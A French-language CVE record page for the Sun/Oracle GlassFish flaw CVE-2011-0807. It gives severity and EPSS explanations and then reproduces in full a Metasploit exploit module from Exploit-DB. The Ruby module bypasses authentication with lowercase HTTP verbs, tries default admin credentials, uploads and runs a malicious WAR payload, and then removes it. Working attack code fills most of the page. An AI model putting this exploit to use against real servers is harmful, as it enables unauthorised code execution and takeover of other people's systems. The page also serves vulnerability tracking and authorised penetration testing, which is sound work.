Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE Other |
No informations. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 17615
Date de publication : 2011-08-04 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
'Description' => %q{
This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
instance using a default credential, uploads, and executes commands via deploying
a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
this module will try to bypass authentication instead by sending lowercase HTTP verbs.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13485 $",
'Author' =>
[
#Msf module for Glassfish 3.0
'juan vazquez',
#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
'Joshua Abraham <jabra[at]rapid7.com>',
#Rewrite for 3.0, 3.1 (Commercial or Open Source)
'sinn3r',
],
'References' =>
[
['CVE', '2011-0807'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
},
],
#
# platform specific targets only
#
[
'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
},
],
#
# platform specific targets only
#
[
'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => "Aug 4 2011",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(4848),
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/'])
], self.class)
end
#
# Send GET or POST request, and return the response
#
def send_request(path, method, session='', data=nil, ctype=nil)
headers = {}
headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
headers['Content-Type'] = ctype if ctype != nil
headers['Content-Length'] = data.length if data != nil
res = send_request_raw({
'uri' => path,
'method' => method,
'data' => data,
'headers' => headers,
}, 90)
#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
return res
end
#
# Return target
#
def auto_target(session, res, version)
print_status("Attempting to automatically select a target...")
res = query_serverinfo(session,version)
return nil if not res
return nil if not res.body
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
return nil if (not arch or not plat)
# see if we have a match
targets.each do |t|
return t if (t['Platform'] == plat) and (t['Arch'] == arch)
end
# no matching target found
return nil
end
#
# Return platform (win, linux, or osx)
#
def detect_platform(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.name = (.*)/
os = $1
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
when /Mac OS X/
return 'osx'
end
end
end
return 'java'
end
#
# Return ARCH
#
def detect_arch(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.arch = (.*)/
ar = $1
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X86
end
end
end
end
#
# Return server information
#
def query_serverinfo(session,version)
res = ''
if version == '2.x' or version == '9.x'
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
res = send_request(path, @verbs['GET'], session)
else
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
res = send_request(path, @verbs['GET'], session)
if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
res = send_request(path, @verbs['GET'], session)
end
end
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
return res
end
#
# Return viewstate and entry before deleting a GlassFish application
#
def get_delete_info(session, version, app='')
if version == '2.x' or version == '9.x'
path = '/applications/webApplications.jsf'
res = send_request(path, @verbs['GET'], session)
if (not res) or (res.code != 200)
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
viewstate = res.body.scan(p)[0][0]
entry = nil
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
else
path = '/common/applications/applications.jsf?bare=true'
res = send_request(path, @verbs['GET'], session)
if (not res) or (res.code != 200)
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
viewstate = res.body.scan(p)[0][0]
entry = nil
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
end
if (viewstate.nil?)
print_error("Failed: Error getting ViewState")
return nil
elsif (entry.nil?)
print_error("Failed: Error getting the entry to delete")
end
return viewstate, entry
end
#
# Send an "undeploy" request to Glassfish and remove our backdoor
#
def undeploy(viewstate, session, entry)
#Send undeployment request
data = [
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
"&#{Rex::Text.uri_encode(entry)}=true",
"&propertyForm%3AhelpKey=ref-applications.html",
"&propertyForm_hidden=propertyForm_hidden",
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.execute=%40all",
"&javax.faces.partial.render=%40all",
"&bare=true",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.ajax=true"
].join()
path = '/common/applications/applications.jsf'
ctype = 'application/x-www-form-urlencoded'
res = send_request(path, @verbs['POST'], session, data, ctype)
if (not res)
print_error("Undeployment failed on #{path} - No Response")
else
if res.code < 200 or res.code >= 300
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
end
end
end
#
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
# banner (ex: Sun Java System Application Server 9.x)
#
def get_version(res)
#Extract banner from response
banner = res.headers['Server']
#Default value for edition and glassfish version
edition = 'Commercial'
version = 'Unknown'
#Set edition (Open Source or Commercial)
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
edition = 'Open Source' if banner =~ p
#Set version. Some GlassFish servers return banner "GlassFish v3".
if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
version = $2
elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
version = $1
elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
version = '2.x'
elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
version = '9.x'
end
if version == nil or version == 'Unknown'
print_status("Unsupported version: #{banner}")
end
return edition, version, banner
end
#
# Return the formatted version of the POST data
#
def format_2_x_war(boundary,name,value=nil, war=nil)
data = ''
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
return data
end
#
# Return the formatted version of the POST data
#
def format(boundary,name,value=nil, war=nil)
data = ''
if war
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
else
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
data << "\r\n\r\n"
data << "#{value}\r\n"
end
return data
end
#
# Return POST data and data length, based on GlassFish edition
#
def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
data = ''
if version == '3.0'
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadparam_data = "form:sheet1:section1:prop1:fileupload"
boundary = "--#{boundary}"
data = [
format(boundary, app_base, nil, war),
format(boundary, uploadParam_name, uploadparam_data),
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:sheet1:section1:prop1:action", "client"),
format(boundary, typefield, "war"),
format(boundary, "form:war:psection:cxp:ctx", app_base),
format(boundary, "form:war:psection:nameProp:appName", app_base),
format(boundary, "form:war:psection:vsProp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:war:psection:librariesProp:library", ""),
format(boundary, "form:war:psection:descriptionProp:description", ""),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
"#{boundary}--"
].join()
elsif version == '2.x' or version == '9.x'
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = 'form:title:topButtons:uploadButton'
boundary = "-----------------------------#{boundary}"
data = [
format_2_x_war(boundary, app_base, nil, war),
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
format(boundary, "uploadRdBtn", "client"),
format(boundary, uploadParam_name, uploadParam_data),
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
format(boundary, "form:title:ps:psec:vsp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:title:ps:psec:librariesProp:library", ""),
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
format(boundary, "form:helpKey", "uploaddev.html"),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
format(boundary, focusElementId_name, focusElementId_data),
"#{boundary}--"
].join()
else
boundary = "-----------------------------#{boundary}"
#Setup dynamic arguments
num1 = start.to_i
num2 = num1 + 14
num3 = num2 + 2
num4 = num3 + 2
num5 = num4 + 2
num6 = num5 + 2
num7 = num6 + 1
id0 = num4
id1 = num4 + 1
id2 = num4 + 2
id3 = num4 + 3
id4 = num4 + 4
id5 = num4 + 5
id6 = num4 + 6
id7 = num4 + 7
id8 = num4 + 8
id9 = num4 + 9
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_value = "form:sheet1:section1:prop1:fileupload"
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = "form:title2:bottomButtons:uploadButton"
data = [
format(boundary,"uploadRdBtn","client"),
## web service
format(boundary, app_base, nil, war),
## sheet1
format(boundary, uploadParam_name, uploadParam_value),
format(boundary,"form:sheet1:section1:prop1:extension",".war"),
format(boundary,"form:sheet1:section1:prop1:action","client"),
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:appClient:psection:descriptionProp:description"),
## war
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:war:psection:vsProp:vs"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
format(boundary,"form:war:psection:librariesProp:library"),
format(boundary,"form:war:psection:descriptionProp:description"),
format(boundary,"form_hidden","form_hidden"),
format(boundary,"javax.faces.ViewState","#{viewstate}"),
format(boundary, focusElementId_name, focusElementId_data)
].join()
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
item_list_data = "|server|com.sun.webui.jsf.separator|"
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
item_value_data = "server"
data << format(boundary, item_list_name, item_list_data)
data << format(boundary, item_value_name, item_value_data)
data << "#{boundary}--"
data << "\r\n\r\n"
end
return data
end
#
# Upload our payload, and execute it. This function will also try to automatically
# clean up after itself.
#
def upload_exec(session, app_base, jsp_name, target, war, edition, version)
if version == '2.x' or version == '9.x'
path = "/applications/upload.jsf?appType=webApp"
res = send_request(path, @verbs['GET'], session)
#Obtain some properties
begin
p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
viewstate = res.body.scan(p1)[0][0]
status_checkbox = res.body.scan(p2)[0][0]
boundary = rand_text_alphanumeric(28)
rescue
print_error("Unable to gather required data for file upload")
return
end
else
path = "/common/applications/uploadFrame.jsf"
res = send_request(path, @verbs['GET'], session)
#Obtain some properties
begin
#start is only for dynamic arguments in POST data
res.body =~ /propertySheetSection(\d{3})/
start = $1
p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
rnd_text = rand_text_alphanumeric(29)
viewstate = res.body.scan(p1)[0][0]
typefield = res.body.scan(p2)[0][0]
status_checkbox = res.body.scan(p3)[0][0]
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
rescue
print_error("Unable to gather required data for file upload")
return
end
end
#Get upload data
if version == '3.0'
ctype = "multipart/form-data; boundary=#{boundary}"
elsif version == '2.x' or version == '9.x'
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
typefield = ''
start = ''
else
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
end
post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)
#Upload our payload
if version == '2.x' or version == '9.x'
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
else
path = '/common/applications/uploadFrame.jsf?'
path << 'form:title:topButtons:uploadButton=Processing...'
path << '&bare=false'
end
res = send_request(path, @verbs['POST'], session, post_data, ctype)
#Print upload result
if res and res.code == 302
print_status("Successfully uploaded")
else
print_error("Error uploading #{res.code}")
return
end
#Execute our payload using the application interface (no need to use auth bypass technique)
jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)
print_status("Executing #{jsp_path}...")
req = nclient.request_raw({
'uri' => jsp_path,
'method' => 'GET',
})
if (req)
res = nclient.send_recv(req, 90)
else
print_status("Error: #{rhost} did not respond on #{app_rport}.")
end
#Sleep for a bit before cleanup
select(nil, nil, nil, 5)
#Start undeploying
print_status("Getting information to undeploy...")
viewstate, entry = get_delete_info(session, version, app_base)
if (not viewstate)
raise RuntimeError, "Unable to get viewstate"
elsif (not entry)
raise RuntimeError, "Unable to get entry"
end
print_status("Undeploying #{app_base}...")
undeploy(viewstate, session, entry)
print_status("Undeployment complete.")
end
#
# Try to login to Glassfish with a credential, and return the response
#
def try_login(user, pass)
data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
data << "loginButton=Login"
path = '/j_security_check'
res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')
return res
end
def log_success(user,pass)
print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
:active => true
)
end
def try_default_glassfish_login(version)
success = false
session = ''
res = ''
if version == '2.x' or version == '9.x'
user = 'admin'
pass = 'adminadmin'
print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/applications/upload.jsf', 'GET', session)
p = /<title>Deploy Enterprise Applications\/Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
else
user = 'admin'
pass = ''
print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
p = /<title>Deploy Applications or Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
end
if success == true
log_success(user,pass)
else
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
print_error(msg)
end
return success, res, session
end
def try_nondefault_glassfish_login(version,user,pass)
print_status("Trying credential #{user}:'#{pass}'....")
success = false
session = ''
res = try_login(user, pass)
if version == '2.x' or version == '9.x'
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/applications/upload.jsf', 'GET', session)
p = /<title>Deploy Enterprise Applications\/Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
else
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/common/index.jsf', 'GET', session)
p = /<title>Deploy Applications or Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
end
if success == true
log_success(user,pass)
else
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
print_error(msg)
end
return success, res, session
end
def try_glassfish_auth_bypass(version)
print_status("Trying GlassFish authentication bypass..")
success = false
if version == '2.x' or version == '9.x'
res = send_request('/applications/upload.jsf', 'get')
p = /<title>Deploy Enterprise Applications\/Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
else
# 3.0
res = send_request('/common/applications/uploadFrame.jsf', 'get')
p = /<title>Deploy Applications or Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
if success == true
print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => '',
:pass => '',
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
:active => true
)
else
print_error("#{target_host()} - GlassFish - Failed authentication bypass")
end
return success
end
def target_host
path = datastore['PATH']
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
path = datastore['PATH']
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
success = false
session = ''
edition = ''
version = ''
#Invoke index to gather some info
res = send_request('/common/index.jsf', 'GET')
if res.code == 302
res = send_request('/login.jsf', 'GET')
end
#Get GlassFish version
edition, version, banner = get_version(res)
print_status("Glassfish edition: #{banner}")
#Get session
res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
session = $1
#Set HTTP verbs. lower-case is used to bypass auth on v3.0
@verbs = {
'GET' => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
}
#auth bypass
if version == '3.0' or version == '2.x' or version == '9.x'
success = try_glassfish_auth_bypass(version)
end
#BUG caused us to skip default cred checks on sun applicaiton server 9.x
if success == false and version != '9.x'
#default credentials
success,res,session_login = try_default_glassfish_login(version)
if success == false
if (
( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') ) or
( (version =~ /^3\./) and (user != 'admin' and pass != '') )
)
#non-default login
success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
end
end
end
#Start attacking
if success
session = session_login if (session_login =~ /\w+/)
#Set target
mytarget = target
mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
raise RunTimeError, "Unable to automatically select a target" if (not mytarget)
#Generate payload
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
#Upload, execute, cleanup, winning
print_status("Uploading payload...")
res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
else
print_error("#{target_host()} - GlassFish - Failed to authenticate login")
end
end
end
Products Mentioned
Configuraton 0
Oracle>>Glassfish_server >> Version 2.1
Oracle>>Glassfish_server >> Version 2.1.1
Oracle>>Glassfish_server >> Version 3.0.1
Sun>>Java_system_application_server >> Version 9.1
Références